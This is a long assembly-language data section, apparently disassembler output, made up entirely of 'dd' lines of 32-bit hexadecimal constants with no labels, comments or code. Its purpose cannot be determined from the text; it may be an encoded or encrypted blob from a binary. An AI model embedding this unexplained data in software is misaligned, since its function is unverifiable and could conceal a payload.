		dd 83FF4DABh, 0ABA959BDh, 221B2D8Dh, 51CE646Ah,	18F6E91Dh
		dd 805BC5ADh, 7D5A051Dh, 32EE2DD2h, 14B81202h, 6B409C7Dh
		dd 21605F59h, 0A92D8565h, 0EB176615h, 0AFA1D89Dh, 847C4E91h
		dd 4592CCD0h, 0DA48E8ACh, 0B9A19068h, 0A42311C4h, 83F2851Eh
		dd 1B80F71Bh, 0EFDC3C64h, 6F8A0BBEh, 6BBF9BCBh,	246D91F9h
		dd 0CC5528C4h, 0D2F7B9E9h, 0E446E18Dh, 0E31A6547h, 0F2E5F3F3h
		dd 8CF2845Ah, 64015A5Eh, 0AF6B2099h, 8174F24h, 97F5DD69h
		dd 5D0CE973h, 0E600CD40h, 9FE4F87Bh, 474CADB3h,	0C0BC6D4Eh
		dd 0F16330Eh, 0B909FCB8h, 0FB8BFD5Bh, 711EC331h, 0AC8E399Eh
		dd 0FBAC480Ch, 3FB3BDDh, 2ABDA8ABh, 38232DB3h, 0A07E0EDAh
		dd 23F3D2BEh, 0D9475024h, 0CB1BCC1Ch, 2CF60D72h, 0E243D4FCh
		dd 85320EF1h, 0D6721769h, 98209D9Ch, 927B11FDh,	993ADD83h
		dd 86462B9Bh, 83F73C34h, 8A291E36h, 5F0708BDh, 0E63818BEh
		dd 0D97CA625h, 24E7DD4Ch, 85526F5Dh, 6B411455h,	9D561506h
		dd 0FD595B3Dh, 5C208F7Dh, 0DD0808BDh, 505820B3h, 9D29B954h
		dd 5A22E773h, 0D1DF28CBh, 23C3BEB7h, 0CF3F4BBDh, 90D534B4h
		dd 0CB43029Ch, 1502B81Ah, 0DBD8F2BBh, 6D36DD05h, 4F38546Ah
		dd 58034A0Ch, 0A723D2B9h, 1FF9B865h, 0AF7A4EB9h, 0DA3D654Dh
		dd 0DF1F4ACCh, 0D136F6E9h, 0BC507CC7h, 0C25D29E3h, 206518DEh
		dd 4D3D2CC6h, 0E2B2CF3h, 1A61234Ah, 7352A54Eh, 7233D25Eh
		dd 0C2225872h, 2C685795h, 9437E51Bh, 3A2D2D9Ah,	0F34DEB9h
		dd 0AD5DA3A2h, 0A30E925Eh, 529527C8h, 264DD0A5h, 0E1132AFFh
		dd 4613C10h, 0CC189E1Ah, 72E5F9D2h, 19ACC303h, 8928AEBFh
		dd 34510155h, 71F50C73h, 0AC58C03h, 455D14CAh, 0FCACC8Bh
		dd 0DE74AA02h, 0DA351155h, 0F19A4955h, 95FB0386h, 1834C96Ch
		dd 0EEE60CA2h, 1D4AD703h, 852AA904h, 45A1BAD0h,	1A3CED4Ah
		dd 0CA9CB8A3h, 9C828766h, 0F151825h, 0A5368BDCh, 0BB81E17Ah
		dd 5A1520FFh, 0CB6AB86Eh, 0FBBFDE31h, 96E7ABA5h, 0ED815F5Dh
		dd 0E1F80F10h, 25F27BD4h, 0EA2E4A58h, 45B42A45h, 9C27281Dh
		dd 0BA212AF4h, 6243B0C6h, 46650533h, 8E3CCFA8h,	1336F553h
		dd 7082AC0Ch, 0B25D011Bh, 0F349200Bh, 0A2110C8Ah, 235B0A9Bh
		dd 0B0A11312h, 59EBFBF2h, 4CF822BBh, 805D16B7h,	504A73B5h
		dd 0CEDBE03Ah, 9B46E827h, 12B75936h, 0B464267Dh, 0E2B3E3A2h
		dd 475A91F2h, 30F66464h, 84B61341h, 0B34D095Eh,	582369DFh
		dd 6A7DABA0h, 86724563h, 77EBB8B0h, 8200812Fh, 3C24B3EBh
		dd 0CED12DD8h, 50D3F2DFh, 0E736A5B3h, 9F3289ABh, 8C4A3240h
		dd 0BDB50ED7h, 0F77C2787h, 5E3A24D1h, 0B4793AF6h, 23EB2873h
		dd 99233036h, 65905BA1h, 9EFA362Ch, 0AB01372Dh,	4A76993Bh
		dd 0ADB67CA3h, 0A5122AEFh, 9246B061h, 1DB84930h, 0AAA56AADh
		dd 27C2A795h, 0DE4D6208h, 75992906h, 197E8BF5h,	0A8648944h
		dd 0A645FF4Dh, 82312821h, 2DB767D9h, 0B6AFE7F8h, 191C01BEh
		dd 97ADF813h, 0F6478756h, 7F11D37Ah, 4826DA5Fh,	0A0233118h
		dd 7FCFFBFh, 1047E3AAh,	0A3041ECCh, 0FCD5F1D3h,	7056FBA1h
		dd 9526A237h, 20F19B95h, 0E33AA5B8h, 7EC0E1A1h,	0B7AE2574h
		dd 576DCF27h, 5E636BE7h, 0F0FBC7EDh, 64405195h,	95AFAC41h
		dd 22DB1AD1h, 0A98D7A52h, 3EECE991h, 5A8D2AAFh,	6340405Ch
		dd 0D761D311h, 0FB07E3DCh, 1628A8ACh, 9D3B4694h, 65CB5008h
		dd 0BEE08475h, 7902CB70h, 708567BEh, 0EBA2B7AAh, 23F1209Dh
		dd 0C5065274h, 5E27B2DBh, 0BF340795h, 9321563Fh, 0AE335728h
		dd 0EAF29A21h, 0F54EBC96h, 1D38BB56h, 1845E07Fh, 0DC09E7BDh
		dd 40B1AE31h, 265FA966h, 880160A1h, 2C80F231h, 92F31D38h
		dd 80823646h, 38FF88A1h, 0D9B0F375h, 0F79AC65h,	8F3AB59h
		dd 4057B4A4h, 94B6F127h, 111D6E6Ah, 257FE6B1h, 5D0AC333h
		dd 61BCB6BDh, 10090965h, 0DAA75B90h, 386EDC58h,	283A32DCh
		dd 9E2C03F5h, 0F0476013h, 94092DBCh, 6CA6CF08h,	822E94C2h
		dd 0D0BCB8FFh, 0D911D861h, 239E0055h, 0D6FB820Ch, 0DFEF4A85h
		dd 2F45D822h, 0A16F5650h, 3C2AA8C4h, 570515BDh,	8BD0CE44h
		dd 0A21170Fh, 6F1D1441h
		dd 953CF09Ah, 0DD322AA1h, 9C981177h, 0BF0A349Ah, 0AD02F148h
		dd 82F83711h, 0CCEB0108h, 47907DBAh, 0FCF1D129h, 7A20A840h
		dd 2CF27EFh, 0AD36BEB5h, 0FC8D9EA4h, 9C2FBEA8h,	3B35DCA9h
		dd 0B4E7092Eh, 47FB0373h, 0D110F1C1h, 82CB1495h, 0A5783E9Bh
		dd 6352AFB8h, 5A69228Fh, 0F85399E2h, 0A030BC62h, 583AE329h
		dd 2AEDE2B4h, 64619118h, 0C578D4E5h, 82A4BD0h, 0F7B26FD1h
		dd 79176DF4h, 32EE8CCh,	115BFBB1h, 45A2641h, 0B0FE2A47h
		dd 2284A531h, 9FBEA923h, 5B59482Eh, 8E0D2A6Bh, 5311BEh
		dd 0BA372820h, 5110210Eh, 41B7FE72h, 25005270h,	0DC65E11Bh
		dd 1C180462h, 45A365EFh, 3F229964h, 623FFCA2h, 9FEF0C20h
		dd 5C984E77h, 990CAB4Eh, 0B65BB91Bh, 82D8FA06h,	0EB48A945h
		dd 15B2B79Bh, 6AE06632h, 90355B0Fh, 3E80406Ah, 0A41E2441h
		dd 8925FF47h, 82C31C71h, 0BEA80846h, 92F71799h,	1F1A7107h
		dd 4A7D09AEh, 28798009h, 1ED1A8FFh, 2989306Bh, 7A2CD2B3h
		dd 2EBB31AAh, 8EDE2C74h, 85BAE135h, 9C0C6349h, 0BA123111h
		dd 858BA0BCh, 28A2A182h, 57DF0448h, 0D933205Bh,	0B0CEE89Ah
		dd 347A06ABh, 4BEB2B4Ch, 0E2F939DAh, 0BAC96093h, 0B9F8F2ACh
		dd 0CE210B9h, 45CB28B2h, 4DF4372Eh, 859B4869h, 25F7F885h
		dd 14E467CEh, 3FCEFCAEh, 4822026h, 2C1649A8h, 9734F888h
		dd 0BC715011h, 5E06E485h, 4C584857h, 0ABCE2F3Ch, 96ABB427h
		dd 0CDE9399Dh, 7E596D68h, 701C36ADh, 0EA0795A0h, 6443ABF3h
		dd 8A2CAE35h, 0F12AFAFh, 57D12E3Dh, 4FDCEFB2h, 0B56B164Ch
		dd 0AE948D4Fh, 0A2F66BE1h, 0FFCE14B5h, 0BFC52B95h, 0E9B6261Eh
		dd 1A9224B9h, 19F86357h, 27E0C74Ch, 0F6FC2088h,	0CFAA70F1h
		dd 79A8AFFBh, 8DE7C65Eh, 0E04CE8FEh, 0C93AC0E1h, 0C03ADB01h
		dd 383A4961h, 2B49A0E3h, 311AA4E5h, 9CE2E6ACh, 52894972h
		dd 0E2812694h, 9343320Dh, 0ED9A9E1h, 0CDF43763h, 90C6C8E3h
		dd 56EEF3E2h, 9D102561h, 84232EB4h, 5F5CAD21h, 0D470FB8h
		dd 0DCD888FCh, 42788428h, 4D3B698Ah, 2C1E78F3h,	553CB1EDh
		dd 0BAE8D2BDh, 570077A4h, 0AD1B5BCDh, 0AE4A352Ah, 0BE3B0413h
		dd 132ADE58h, 9ED8D545h, 710E7C53h, 0C933B6C2h,	0E75EF224h
		dd 0AA30CD13h, 221CF1FBh, 0A4CCABBDh, 16E87211h, 0DE68C9A2h
		dd 330B2B58h, 4E19DE3Dh, 685B9627h, 1CD92A40h, 4673C270h
		dd 4A955750h, 1DF0DCCBh, 6EBE1AB3h, 747ECE51h, 0CF472B40h
		dd 0BA0EDCDFh, 2145B172h, 2304B063h, 0AC9A6EBEh, 0AF303D7Fh
		dd 0A02BC6E8h, 2E2D350Dh, 0BA5F22BFh, 78EBE63Ah, 40A9A4B1h
		dd 14D3167h, 0A628F724h, 7C8A31A3h, 0F273FC1Bh,	8049A3B3h
		dd 8FEC1A5h, 7867F72h, 43173168h, 0F0A5359Ah, 0C6A1C5h
		dd 41C1576Bh, 0EAB5DB4Dh, 731763B7h, 5F7A7D81h,	843DBE65h
		dd 73FE1C4Ch, 0DEAF7916h, 1F002064h, 2A8AAD9Ah,	0ACB36532h
		dd 0DFC12F3Bh, 5538F53Fh, 0FB1636F9h, 17EB3493h, 65386E0Ah
		dd 0FCA8656Fh, 898331E5h, 0ABB72614h, 8696B2E5h, 0B831F58h
		dd 0A2FF4FBFh, 6F1FEBFAh, 0AA205B32h, 60FC6FBFh, 0FF2F0AA4h
		dd 44C7177h, 0AC00357Dh, 2C837243h, 0BF04A197h,	6D6B8715h
		dd 0E510B6BDh, 831E4EBCh, 8BB3537Dh, 0BA8C4B57h, 1D13248Dh
		dd 725EBBA3h, 8EC3AAF1h, 9C51ECFFh, 257537CCh, 34872D07h
		dd 8B411D6Eh, 20818429h, 5B59949Ch, 82455D60h, 5EDEFF97h
		dd 17179562h, 1DDF4BA5h, 58C5F7AAh, 0A8E4CC11h,	8BAF505Bh
		dd 0C1EE487Fh, 4ABAFCBBh, 51CFEABBh, 867A271Eh,	9BC4A155h
		dd 0DE165F6Fh, 211120B9h, 0BD16F6C4h, 0FC857129h, 9DE950DDh
		dd 4259513Ah, 0CD50EF6Bh, 6ADAFB43h, 3BD64BE0h,	0A35BDE6Eh
		dd 0A95951A5h, 8F3CD88Ah, 686C853Eh, 1B624FB5h,	0A453F728h
		dd 4B68F60Ah, 0E3A65391h, 96A0AA5Eh, 0DD86ED39h, 0A6CA2DC2h
		dd 0EEFFC8E7h, 1CC74B53h, 5A2EDC81h, 0F7F1E53Dh, 560004CBh
		dd 1CCAA150h, 87B72DD9h, 0B9D520FAh, 1D116B25h,	0B36C7779h
		dd 0DEC0D7A7h, 0AA1ACC11h, 8FC85002h, 0FD4EA72Ah, 0BDFE87BDh
		dd 0AB869C2Eh, 36242ACAh, 0A8CCBD46h, 2400650Bh, 0E36536Ch
		dd 3C5128BCh, 8E044523h, 9EA271Ch, 9CE73188h, 9F3B0703h
		dd 0ACA5C3B4h, 7E324059h, 4B3E594Dh, 0A99ACB37h, 52E3A71Eh
		dd 0B5CEC9BBh, 0BCA942DDh, 0D6BA230Eh, 554FDB3Ah, 83B439E2h
		dd 7EDB2A44h, 7AAAC774h, 47DE5AF5h, 0C2F2A763h,	35434849h
		dd 453E322Bh, 98069C38h, 0A4163681h, 37BD3710h,	572310BAh
		dd 40F5355Ch, 0B1CE0F5Ah, 441A8D70h, 0B01DB13Ah, 0D43D779Dh
		dd 86565005h, 1D1574A2h, 95304117h, 784EA661h, 6EC484F3h
		dd 0CB3A03C5h, 9E3E6D2Fh, 6C185460h, 50220089h,	0B1E53CDDh
		dd 0B8BA4DD5h, 0AE4887Fh, 52882CB7h, 45B80948h,	2F1BCF10h
		dd 20C80209h, 22268175h, 601B2F75h, 0F1BAD7DEh,	9C32DE99h
		dd 0FF7A3791h, 437B5A4Fh, 26DF50A3h, 2AFE2BF3h,	491ABC40h
		dd 0E0CC416Ch, 519ECDBFh, 0C5BC6A2Ch, 0FCE3D58h, 601EACA0h
		dd 246C5Eh, 0BBF60959h,	47340BD9h, 6FDA877Fh, 0A81278DEh
		dd 0A2EA33FDh, 0E3AD2D4Ch, 0CE4BBC5h, 5AA33238h, 644C8D1Fh
		dd 3AB27AA0h, 6A2FF46Fh, 40F47528h, 9806A3A1h, 0D835F6A3h
		dd 6A026903h, 1EAFE9F1h, 0FEF069E6h, 62BB08F9h,	5B38DC73h
		dd 4F5817A6h, 188CA904h, 84C78FCBh, 9CA26640h, 0F8394816h
		dd 4BC7CB68h, 454082EDh, 0D6A58C6Eh, 0D01FBC45h, 0DD33C0CFh
		dd 31E4CBA8h, 0F11E6417h, 0C1080F66h, 43055B53h, 7C581520h
		dd 0C03E623Bh, 0B71F013Eh, 0E8A4836h, 0EEB94203h, 1AC1CF9Dh
		dd 640AC766h, 417DEDDEh, 0ACCFD938h, 0A4DC1CCCh, 0D5560353h
		dd 50135DFh, 9C520985h,	0A8334A59h, 5F3FC983h, 4B49B56Fh
		dd 2098EC11h, 0B3F73B4Ch, 5505396Ah, 0AB771611h, 2918880Dh
		dd 719C9392h, 0A4DB1975h, 0B15BC716h, 4209CB56h, 7B0ACB6Bh
		dd 4ADB216Fh, 9C47480Ah, 0A3FEECD7h, 1FB6790Ch,	851ED91Bh
		dd 32CA31F6h, 837F66B1h, 0BAE8CBA6h, 0EDE610DAh, 0E820A5DBh
		dd 0A2C9AA28h, 77276F4Bh, 26932877h, 669DFF7Eh,	24392745h
		dd 7BD26A70h, 7908DDA9h, 650C797Eh, 57059398h, 7A9B65F7h
		dd 54FC1F45h, 9ED1E7F4h, 0A359604Ch, 0DC6D7AE3h, 1223DEF5h
		dd 8A3CC135h, 53FC535Ah, 0DC436B3Ah, 0CD3D4022h, 929C17A4h
		dd 5C258545h, 4CE5DC77h, 5E8E4A79h, 0EABB2BFDh,	8A25603Ah
		dd 8770BA9Ah, 9E43B861h, 9DBBAC75h, 1294F75Ch, 0BF6EF227h
		dd 0C5753E4Bh, 837286A2h, 0FF07E072h, 3334E979h, 354FE862h
		dd 6BBEEF93h, 0D709E44Bh, 1810F1E5h, 57AABB9h, 32E86BA4h
		dd 0F8E7F159h, 0DB266283h, 0B04522ACh, 4DA93479h, 0BF73ACFAh
		dd 5E75C111h, 0A617F310h, 8148439Bh, 5FBD3334h,	86136DFDh
		dd 4B376A7Eh, 0F79023A5h, 0DA576857h, 609A0441h, 1D832901h
		dd 48B7125Ah, 194F94CBh, 0AEF69EE8h, 9D16657Dh,	68A4814Bh
		dd 347195F1h, 77637113h, 74F62963h, 9DA0001Ah, 5A8B19B1h
		dd 4D4C09C0h, 9CC5ADF7h, 635CFF51h, 20A3D382h, 796E8153h
		dd 0BAC028C1h, 0B3E28F20h, 0DED31B3h, 9C503EEBh, 0A0CF6B04h
		dd 1AF66F13h, 0B556F77Ch, 0C154227Dh, 6872E86Bh, 7743F113h
		dd 805B7F94h, 0F070D96h, 2F1BF67Ah, 0BAEAA826h,	7E5FB16Eh
		dd 5F3600C5h, 6F2C3D40h, 0AEAB823Ah, 0F6EF758Dh, 732F6ED5h
		dd 0B6513D9Dh, 3624A872h, 9CC62A46h, 6DEBF7CFh,	2EFE9299h
		dd 8AE6116Bh, 3A2FDC16h
		dd 6DC619EDh, 9D22F172h, 0CA106D45h, 0C5C6846Ch, 0A73C457Fh
		dd 0DFD1498Dh, 7EE5282Dh, 5D36B5B4h, 0B443B8F5h, 0FF2BA0B4h
		dd 7052FFA0h, 515ED341h, 495BA7ECh, 428B33ABh, 9C0318A6h
		dd 1B5B5465h, 0D5944521h, 0A1A7F42Ch, 0C9377018h, 0B76D7884h
		dd 0BF7E484Bh, 0B290F1B6h, 0A405CE11h, 608FC15h, 8101A6E0h
		dd 0A433DFC3h, 0DB42CABDh, 5A58229Eh, 1285E538h, 604856F4h
		dd 8100E377h, 0D6379648h, 5F5A5919h, 2B882073h,	0A068E381h
		dd 0EA25A538h, 5CEA472Dh, 12E66EA4h, 9CBE200Ah,	0FA4C2311h
		dd 86FCB521h, 0E6117FB4h, 756AADF7h, 701BF510h,	0AAFA71F9h
		dd 98C0F7CBh, 2E3AF421h, 63C9BA2h, 6607319Ah, 9A64C392h
		dd 0B397195Fh, 8E472B1Fh, 0A6E8F9E7h, 3300F8D1h, 4563859Bh
		dd 2A42B92Eh, 0DD081DFCh, 6F394DAAh, 6F089C7h, 0D1365BB1h
		dd 7F1D3F84h, 0A57AF6B7h, 0CFA5E740h, 0FE6E279Fh, 81480B94h
		dd 0D236D9FDh, 13D4A7AEh, 8052EB61h, 70DBE0E8h,	45E919AFh
		dd 0DE1C6E55h, 0B33F8CE8h, 8218AA9Eh, 40E173BBh, 0B227E328h
		dd 0FDF4D25Eh, 34338CF9h, 219F84F9h, 0D699326Dh, 6655BF7Dh
		dd 88647503h, 75C4FF2Dh, 696390B5h, 0E42C7C9Dh,	0C1E9B880h
		dd 0ED6BDD44h, 80333DA7h, 0A25716A4h, 9D66F3Ah,	9A63410Bh
		dd 1204EB12h, 73388DBCh, 0DD401A2Ch, 0FA854973h, 0CD1FD20Bh
		dd 88A16DEBh, 5F32AFEEh, 0CC47BE55h, 0EA350CCCh, 0C58F4EBFh
		dd 569E258Fh, 967C98B3h, 64CFE13Dh, 0F16B9A9Eh,	99B2B7A4h
		dd 4CC40FA0h, 9B0045B1h, 0E0B4CD08h, 0AA5479BBh, 9B9B3639h
		dd 1F2CCB71h, 0B4C7DE83h, 20DA6208h, 0BBB3758Ah, 0C05AD000h
		dd 86E790A2h, 66F19708h, 0D9250B0Dh, 29FA6671h,	16401CBCh
		dd 41204F48h, 996258C5h, 609AF177h, 609C01FDh, 779AE184h
		dd 4B2AF13Fh, 0B33FEC96h, 469D23CFh, 2A1AA11Ch,	35FD44C8h
		dd 0A75F313Dh, 9F58002Dh, 15E9E967h, 0E1FDB3CFh, 34A0DDA6h
		dd 0B38EE31Ah, 0E34339CDh, 4F3BC5B3h, 71DB43A6h, 182FE138h
		dd 8730443Fh, 0A827FBB2h, 0AB7DA8B9h, 0E1060AFh, 92FEDDB8h
		dd 0DAC2B6AFh, 9EED15BCh, 0AC2395ACh, 1D1CB3B4h, 1E432C3Ah
		dd 2B30C3FAh, 1FF9DD52h, 0FFA4B4B4h, 0ADB9162Dh, 0D9CAB17Fh
		dd 420BB59h, 4B77232Dh,	0EC4D4175h, 9BC16A42h, 0FB835683h
		dd 5A7B2BA1h, 1E352E21h, 4F18D558h, 931C4422h, 4AAB1F96h
		dd 845D3E47h, 9517128Ch, 83822346h, 9F7403A2h, 9F1D0AA8h
		dd 0B244FD05h, 9B1FF69Dh, 0E81AD32h, 1E5BF6BEh,	0AA2E357Ch
		dd 39382DDDh, 0B8BF5FA8h, 7E494EA1h, 133A3FBFh,	0AF228F86h
		dd 3DEAEC65h, 218B62D5h, 0A321D9A9h, 570EDDE4h,	0CC881B8Fh
		dd 0BE3D3746h, 5C3697B9h, 94C1EE5Dh, 0C4C6BDA2h, 398C7CE8h
		dd 0A42E768Dh, 47B576B9h, 0A99AC3FAh, 9622AD60h, 0FE282243h
		dd 7E0720BBh, 0FD250143h, 5828EE9Ah, 9F7B869Eh,	0F8362A71h
		dd 8FBB5105h, 0AE05F5BDh, 7E8FF724h, 44253194h,	0B605CA0h
		dd 3D44A746h, 382809F2h, 62CCD843h, 8F61C7F8h, 52274CBFh
		dd 41D4444Dh, 6232F9C0h, 0EAD4F146h, 0B6C77487h, 0F7322061h
		dd 5A04A2BEh, 0E15D029Dh, 0B7964CEh, 861B25C6h,	5AD15F6Ah
		dd 9D362D35h, 0AE470F22h, 0AD4830AFh, 0AD4C31A1h, 1F5436A3h
		dd 0F928F971h, 99888EC5h, 0B4DDFDC6h, 0ED7D3B84h, 0B15CE840h
		dd 0DA3A2FF7h, 68C50710h, 62B09EA4h, 57CAA84Dh,	0E7A45A80h
		dd 0A4F299BDh, 0D081A3AEh, 0BB4060FEh, 18D68C4Fh, 0A263AB5Fh
		dd 12303151h, 442CC3F9h, 6430C29Ah, 62066B42h, 0A33D89A3h
		dd 0F7EB224Dh, 0BA774265h, 3F63255Bh, 68F0183Dh, 8126910Eh
		dd 6A930679h, 0E38FAD1h, 0C5E7A2B1h, 20FD364Eh,	911691A1h
		dd 5EFDA9Ch, 902F328Dh,	3736D14Ah, 0C5AF0E4h, 0BD483B7Dh
		dd 97A3919Ch, 0A7075B6h, 18350443h, 0B07D389Bh,	692F111Bh
		dd 0BC8D03C4h, 562F685h, 0C57AEA42h, 93C35B44h,	720F4942h
		dd 435A11B5h, 1F12AA6Ah, 7AC02535h, 0B8692088h,	5CBAC949h
		dd 2A3E3F69h, 0DA8490E1h, 0F340DE8Fh, 8EE75D9Ah, 4303D99Eh
		dd 4FD90117h, 643ACD2Fh, 0AF59F625h, 0E21AB058h, 2AFDC57Fh
		dd 0B8FFA142h, 1FC2D169h, 0F42B6B77h, 0EC4824B2h, 46408946h
		dd 0C687067h, 0D9074FCEh, 0E5F8FCE3h, 4351CF04h, 6D6619FBh
		dd 7ED3EE55h, 0BFE8B67Fh, 57937EABh, 9CFD4920h,	0A76BB9AAh
		dd 0A3B7F8FCh, 1B4F76A1h, 0E04977A8h, 0E03BA5B9h, 467FB51Fh
		dd 5D0AFD9Ah, 640B9912h, 0EC4091F2h, 94FFA8B3h,	68F935D9h
		dd 0ADF35407h, 269222EDh, 0B9C60A65h, 1E821D5Ah, 82046C05h
		dd 0EBC3EDC7h, 0B775D42Ah, 0E7637EADh, 0B2892344h, 0FDCFE93Ah
		dd 3475098Bh, 3C238DFEh, 6F914A4Dh, 4C2DC705h, 28A0311Bh
		dd 3D477A65h, 0ABB8E8F7h, 24807D71h, 0AE817ABAh, 89B83EC0h
		dd 99BF9825h, 0DC87FA06h, 0B174DE33h, 3AD168E6h, 0D612FCE3h
		dd 456BDD81h, 0FC15FF01h, 343103F2h, 0D1CF50B4h, 0B600A089h
		dd 3937F01Dh, 10CF895Dh, 0D8625345h, 311EACB4h,	0B73A5AB9h
		dd 3CC60DA3h, 6D18A132h, 703DAAC1h, 3DDA7689h, 0F635EB2h
		dd 795AE54Dh, 28AF1EAAh, 0BA001273h, 0D76BF876h, 0ACF9A32Ah
		dd 4107CD10h, 0E3673C26h, 0B816620Ch, 0E31191EEh, 0C98689EDh
		dd 55306F5Fh, 0A8CE60E4h, 5B04206Ah, 0AD49A168h, 63DAA498h
		dd 0C6D575A1h, 31BB346Ah, 54ADA00h, 0B15814A0h,	9B3292CDh
		dd 837C37E2h, 0A02738DFh, 9D33C067h, 0F9D6620Dh, 0EB386277h
		dd 630E67C9h, 0F33AADA3h, 4DCDCA9h, 4D88A4C8h, 0A95AAF90h
		dd 983E0C54h, 57927A73h, 5BC53651h, 0A52C379Ah,	989AEB33h
		dd 0A3846B5Ch, 92A2A424h, 0A3CFA695h, 0A2CE1826h, 576C3F00h
		dd 4D443343h, 2F18DDBFh, 1A4A994Eh, 17A9B61h, 0CA1D453Fh
		dd 3E2DCF99h, 0AD1ECAACh, 0AF1A98AEh, 0A6A22E0Bh, 6CEF8C8h
		dd 77ED2817h, 665A198Dh, 2316E830h, 3A178B0Fh, 2A1EED41h
		dd 83F8A243h, 0A101BDD0h, 0A8D1131Fh, 0A92BCC22h, 71C3F5BDh
		dd 33871209h, 0DD4137Dh, 5AF0CD08h, 79765CA3h, 4C7344B5h
		dd 0A5333500h, 1D400125h, 9BE53FD5h, 85F7294Bh,	0D3BB829Eh
		dd 0DED457B7h, 0B0E4A8CCh, 6BF7A381h, 994CAFF7h, 0FF657223h
		dd 0B09E0E98h, 250E46B4h, 625EB4CFh, 3E51B7h, 0A984E140h
		dd 1B1E51E6h, 4EFB0F97h, 231639DBh, 0E119FF55h,	98C772CAh
		dd 0A3191974h, 0F529A8B7h, 0FF33683h, 65CFA2E3h, 0BE7A702Dh
		dd 17CFC858h, 0FB39EB78h, 86123B0h, 0B44BEEC7h,	0C940C4FFh
		dd 0CA0260AFh, 471E7BBBh, 598942DDh, 41A80E08h,	0F2DB36B8h
		dd 1D233344h, 0C6298CACh, 0C08EE819h, 0C0FEBCB3h, 82359814h
		dd 0F3575087h, 18C10948h, 0BF2B4A74h, 5AEA6324h, 19432AF3h
		dd 131D3D9Dh, 0E65F148Eh, 12E938D5h, 9AE4B346h,	423BD170h
		dd 0F75C6995h, 685CDC26h, 0B2D62FF8h, 0B88B49A8h, 77D2F9FDh
		dd 6DAECA3Eh, 7D6648CEh, 99BA85C4h, 0E05784Fh, 0B8C292B0h
		dd 3ECA18A6h, 0EA414C75h, 0C8AB48E2h, 650484A3h, 0B6AAADF5h
		dd 285C210h, 41EBCC93h,	0AF7C1511h, 0AF561351h,	356931B4h
		dd 0C2FDFE46h, 0EEA4EEDFh, 964E3433h, 0A8039156h, 0F25DEF2Ah
		dd 0A6835FE6h, 0E32CAD93h, 0A69A5210h, 0B82F7C86h, 0E212955h
		dd 0E4D118B9h, 9BFA4994h, 8E07E11Fh, 0EF354641h, 0A73F385Bh
		dd 4EDF5825h, 70FE2BFCh, 0AA57B30Ah, 52DDE92Eh,	64489E55h
		dd 3B423D3Eh, 4505303Bh, 0B0BA68B9h, 0DCF48BAFh, 2DA06C9Ah
		dd 3ED49413h, 1C67F3A6h
		dd 1529DD9Fh, 3026B6ACh, 0A6F8035Ah, 0ECA9FF96h, 0AC182508h
		dd 0AE15F040h, 829C3ADDh, 1ABE745Ch, 0E794C168h, 86A50A39h
		dd 3B353B08h, 0DE033A09h, 0F5F1218Eh, 7B8387B6h, 52C03D74h
		dd 0FFB7D058h, 8A4211A2h, 0D7844E9Dh, 250A4A64h, 2603DD53h
		dd 961ADC43h, 78D67875h, 0A972D70Fh, 3AF52062h,	0F704A233h
		dd 61D09D02h, 41752264h, 79E9D3FBh, 5069A0EDh, 52DF5879h
		dd 5AE0D9FFh, 632EA769h, 9E15FFB8h, 333AA926h, 69BC961h
		dd 6EDAD14Fh, 6C0A43DDh, 1302BDB8h, 0DF794DFDh,	2BA12523h
		dd 0C22EA4CAh, 40A506A8h, 5FF820FFh, 2B037695h,	5A09075Eh
		dd 13F82D07h, 0F5DE5FA0h, 2CC5145Dh, 78C6CDAAh,	0F23981B4h
		dd 911EC7CCh, 0AE0D67A7h, 0F5463738h, 0F73B1635h, 84AAD4C2h
		dd 18D8B4DCh, 6EAC2031h, 70352DEEh, 3BACA00Eh, 0DB239601h
		dd 507205D9h, 552C3743h, 9C2E9AE2h, 3A0701BDh, 26761A36h
		dd 75126075h, 55366525h, 0BEAFE89Ah, 8BF52BB1h,	4CBAA5Bh
		dd 171C3534h, 0A5AE907Bh, 908C6CAFh, 9C1908B3h,	0A1CE29A8h
		dd 273CECFFh, 0D9F42028h, 1A3243A1h, 275AFEFCh,	0E00B0030h
		dd 627216BEh, 63403315h, 5B1D04ADh, 55CCEC4Fh, 17EBFB43h
		dd 9E9C2236h, 90BFD07Eh, 0C9882728h, 0F94C3CE5h, 0A23C4A52h
		dd 99C6936Ah, 74F15CBFh, 566E860h, 0C9306C55h, 549096CCh
		dd 0C87FABB2h, 0FC94B3DFh, 0A19AED95h, 3DFBED21h, 5DAD79C1h
		dd 5E854DA0h, 27E1347Ch, 6B5BF092h, 4A580F72h, 0C64D613Ah
		dd 0A7FCA35Ch, 4418BEF5h, 0A9340E6Ch, 44BA60C9h, 5A3FE41Dh
		dd 3A4AEEA1h, 0BE2F825Dh, 0A3200029h, 0E49E0428h, 603DA0BBh
		dd 933477AFh, 6E446C45h, 5BBBBD9Dh, 0D10ACF10h,	0BC2E8320h
		dd 0AA2A2EB3h, 2BAD5E69h, 633F6FD2h, 0E49CCBF7h, 1AB8CEFDh
		dd 6FD94F40h, 64367054h, 92B9DA5Eh, 0C044E99Dh,	47666642h
		dd 1D32A4E0h, 0A7F9137Fh, 0A719117Eh, 0EC31DC1Fh, 556A5B9Ch
		dd 0D94DADA7h, 0B02A8880h, 85FF4361h, 87301AB4h, 0AA1B2575h
		dd 0A4E8DE23h, 0B56CAC00h, 645F06FCh, 4CB5B0B7h, 9D9CF165h
		dd 0CA593FAEh, 60C40DDBh, 18047962h, 0BA40660Eh, 532BB3A0h
		dd 82EC4167h, 0EC658B3Fh, 412A00h, 18274411h, 9F8DFEDh
		dd 0FDE239Bh, 360CB1Ch,	0A95ACCB5h, 0B66F2272h,	8604FF9Ah
		dd 52C3F6A5h, 717D202h,	0A21FC785h, 21D3D2Dh, 631FD235h
		dd 9DA856BDh, 6F8F3648h, 78F9F341h, 702625A1h, 59C76B96h
		dd 0F721175h, 3E254A45h, 0BE3C6B4Dh, 0A55AF94Ah, 0BAACF834h
		dd 32ACE5A9h, 0A6C53973h, 2B488425h, 0F83AE156h, 1752E3EBh
		dd 552D349Dh, 6A3EE069h, 0A1F445DBh, 0D59C139Ah, 0DD0BA133h
		dd 612CE647h, 0D7C716C1h, 94EF3A64h, 6B9980E2h,	65873F61h
		dd 6FE29D5h, 0B5DCB316h, 3D28042h, 1F80714Ah, 86D56737h
		dd 43C54EA3h, 0C4F75008h, 609776A5h, 0DFD586Dh,	7E39E221h
		dd 0F5D0C969h, 6053DE6Bh, 0D689EC51h, 3E3BB32Fh, 797EC695h
		dd 71F12511h, 2D2AE782h, 0E513957Eh, 0C309793Ah, 0A9C6A676h
		dd 3D13EE90h, 165BA526h, 19CD7DA1h, 0F1847121h,	0EA61C8F6h
